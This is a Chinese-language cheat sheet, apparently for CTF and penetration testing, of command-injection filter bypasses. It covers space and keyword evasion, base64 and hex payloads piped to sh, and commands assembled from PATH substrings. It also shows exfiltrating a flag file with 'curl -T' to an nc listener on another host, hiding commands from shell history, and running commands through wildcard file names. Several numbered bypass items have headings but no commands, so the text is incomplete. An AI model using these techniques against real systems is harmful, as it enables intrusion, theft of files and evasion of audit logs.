特殊符号绕过
场景一:限制空格
假如需要实现 cat flag.txt 命令读取flag:
1.利用 <> 重定向符:
2.利用 ${IFS} 变量(内部域分隔符):
3.利用 {,} 来代替:
4.利用 $IFS$9:
场景二:不允许指定命令执行
假如需要执行 uname 命令,但过滤掉了 uname 字符:
1.利用参数拼接(黑名单绕过):
2.利用 ‘ “ 单、双引号(碰到 escapeshellcmd() 时有效bypass):
单、双引号成对出现不过滤,表示空字符串;
3.利用 ` 小引号,就是Tab上那个引号:
如果一串命令中存在``,会先执行引号内的命令;
这也就是利用DNS传数据的利用点;
4.利用转移符号 \ 反斜线来绕过:
场景三:一次执行多个命令
假如需要执行 uname 和id 命令:
1.利用shell脚本结束符 ; 分号:
2.利用逻辑符号 ** | & &&**: |
3.在Web页面执行时可以利用回车的url编码 %0a 来绕过:
类似于在shell脚本下放两条命令;
命令编码绕过
base64:
[email protected]:~# printf "whoami" | base64
d2hvYW1p
[email protected]:~# printf "d2hvYW1p" | base64 -d | sh
root
xxd(16进制):
[email protected]:~# printf "whoami" | xxd -p
77686f616d69
[email protected]:~# printf "77686f616d69" | xxd -r -p | sh
root
字符替换
Linux:
[email protected]:~# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[email protected]:~# echo ${PATH:9:1}
l
[email protected]:~# echo ${PATH:9:1}${PATH:11:1}
ls
[email protected]:~# ${PATH:9:1}${PATH:11:1}
Desktop 公共 模板 视频 图片 文档 下载 音乐 桌面
如果过滤了冒号:
[email protected]:~# echo $(expr substr $PATH 1 1)
/
[email protected]:~# echo $(expr substr $PATH 2 1)
u
Windows:
E:\1-main\0x01\exp\clone
λ echo %PATH%
E:\bodkin\cmder\bin;---
E:\1-main\0x01\exp\clone
λ echo %PATH:~7,1%
i
E:\1-main\0x01\exp\clone
λ echo %PATH:~7,1%%PATH:~5,1%
id
E:\1-main\0x01\exp\clone
λ %PATH:~7,1%%PATH:~5,1%
uid=197608(L4oZu1) gid=197121 groups=197121
Linux:${PATH~: a :b}
Windows:%PATH:~a,b%
其中a表示从a位开始,b表示截取的长度;
curl -T 上传文件
利用curl -T
来上传文件到主机并通过监听来拿文件内容:
Linux服务器:
[email protected]:/var/www/html# cat flag.txt
flag{456b7016a916a4b178dd72b947c152b7}
[email protected]:/var/www/html# curl -T ./flag.txt http://192.168.2.101:2222
...
Windows主机:
E:\1-main\0x01\exp\clone
λ nc.exe -l -vv -p 2222
listening on [any] 2222 ...
192.168.2.102: inverse host lookup failed: h_errno 11004
connect to [192.168.2.101] from (UNKNOWN) [192.168.2.102] 51096
PUT /flag.txt HTTP/1.1
Host: 192.168.2.101:2222
User-Agent: curl/7.52.1
Accept: */*
Content-Length: 39
Expect: 100-continue
flag{456b7016a916a4b178dd72b947c152b7}
sent 0, rcvd 171
curl不仅仅可以下载文件,还可以上传文件,通过内置option -T来实现;
就可以利用curl的这个功能来将文件PUT上传给我们的主机,由于PUT method
是基于HTTP协议的,所以主机需要支持web服务,然后带上端口;
通过监听主机相应的端口号nc.exe
-l -vv -p 2222,即可拿到文件内容;
防止命令被记录
在终端执行的每一条命令都会被记录在 history 文件中?
不是的,如果在命令前加个空格
,则会不被记录;
并且前后重复的命令不会被记录;
note:
debain系可以,centos系不行;
利用文件名执行命令
*
是Linux下的通配符,它会将符合模式的文件列出来,之后执行;
➜ ls
➜ touch bash
➜ echo id >> z.sh
➜ ls
bash z.sh
➜ *
uid=501(go0s) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)